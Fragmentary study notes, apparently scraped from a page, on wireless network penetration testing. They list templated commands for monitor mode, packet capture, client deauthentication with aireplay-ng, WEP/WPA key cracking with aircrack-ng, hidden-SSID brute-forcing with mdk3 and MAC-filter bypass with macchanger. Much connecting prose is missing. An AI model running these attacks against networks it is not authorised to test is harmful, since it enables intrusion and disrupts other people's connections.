WEP
WPA
WPA2
WPA3
IEEE 802.11 Frames and Types
(wlan.fc.type == {frame_type_decimal}) && (wlan.fc.type_subtype == {frame_subtype_decimal})
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)
, as the management frame ID is 00
and the decimal representation of a beacon frame ID is 8
Connection Cycle in Full
Open System Authentication
Shared Key Authentication
12345678
), with WPA2 being:
Interface Strength
iwconfig
Tx-Power
they’re operating at)
sudo iwconfig {interface_like_wlan0} down
sudo iwconfig {interface} txpower 30
sudo iwconfig {interface} up
iw list
, like what our interface supports
iwlist {interface} channel
sudo iwconfig {interface} channel {channel_number}
, and then bringing the channel back up
freq "{desired_frequency_like_5.52G}"
iwlist {interface} scan
| grep 'Cell\|Quality\|ESSID\|IEEE'
Interface Modes
sudo iwconfig {interface} mode {mode}
managed
mode as shown abovesudo iwconfig {interface} essid {AP_ESSID}
ad-hoc
same as abovehostapd
for this, making a config file like below and using sudo hostapd {config_file}
to bring it upinterface={interface}
driver=nl80211
ssid={network_name}
channel=2
hw_mode=g
sudo iw dev {interface} set type mesh
sudo iw {interface} set monitor control
, and then bring it back upAirmon-ng
sudo airmon-ng
without params to show interface infoairmon-ng start {interface}
airmon-ng check
iwconfig
, which should show something like {interface}mon
start {interface} {channel_number}
airmon-ng stop {interface}mon
Airodump-ng
airmon-ng start {interface}
airodump-ng {interface}mon
-c {channel_number}
--band a
a
uses 5 GHz, b
and g
use 2.4 GHz--band abg
--write {prefix}
, which will generate csv, cap, and netxml filesAirgraph-ng
airodump
sudo airgraph-ng -i {main_csv_file} -g CAPR -o {output_png_name}
Aireplay-ng
aircrack-ng
(to crack the WEP/WPA-PSK keys)aireplay-ng
on its own to see the different attack types and names-{attack_number}
or the name of the attack with --{attack_name}
airmon-ng start {interface} 1
sudo aireplay-ng --test {interface}mon
and look for Injection is working!
airodump-ng
on the monitoring interface (sudo airodump-ng {interface}mon -w
), as it will capture the reauthentication packets
airodump-ng
will show as well)
BSSID/STATION
combinations, where BSSID
is the AP’s MAC and STATION
is the client’s MAC-w
causes it to save these packets to a pcap filesudo aireplay-ng -0 {number_of_deauths_to_send} -a {AP_MAC} -c {client_MAC} {interface}mon
0
Aircrack-ng
airodump-ng
with --ivs
to save a lot of Initialization Vectors-K
to use the Korek WEP cracking method on the .ivs
file
aircrack-ng -K {ivs_file}
-w
aircrack-ng {pcap_file} -w {wordlist}
Airdecap-ng
airdecap-ng -k [WPA_PSK_in_hex] {pcap_file}
-p {passphrase} -e {network_ESSID_name}
insteadairdecap-ng -w {WEP_key_in_hex} {pcap_file}
-dev.cap
file containing the decrypted version, which we can then open in Wireshark-b {AP_BSSID_MAC}
Connecting to Networks via CLI
wep.conf
file as shown below and connect with sudo wpa_supplicant -c wep.conf -i {interface}
dhclient
to obtain an IP address
-r
network={
ssid="{network_name}"
key_mgmt=NONE
wep_key0={WEP_hex_key}
wep_tx_keyidx=0
}
wpa.conf
file with network name and password, and connect with sudo wpa_supplicant -c wpa.conf -i {interface}
dhclient
network={
ssid="{network_name}"
psk="{network_passphrase}"
}
network={
ssid="{network_name}"
key_mgmt=WPA-EAP
identity="{domain}\{user}"
password="{domain_password}"
}
Finding Hidden SSIDs
airodump-ng -c 1 {interface}mon
on a monitoring interface
airodump-ng
sudo mdk3 {interface}mon p -b u -c 1 -t {target_AP_MAC}}
sudo mdk3 {interface}mon p -f {wordlist} -t {target_AP_MAC}
Bypassing MAC Filtering
airodump-ng
sudo iwconfig {interface} down
sudo macchanger {interface} -m {new_MAC}
sudo iwconfig {interface} down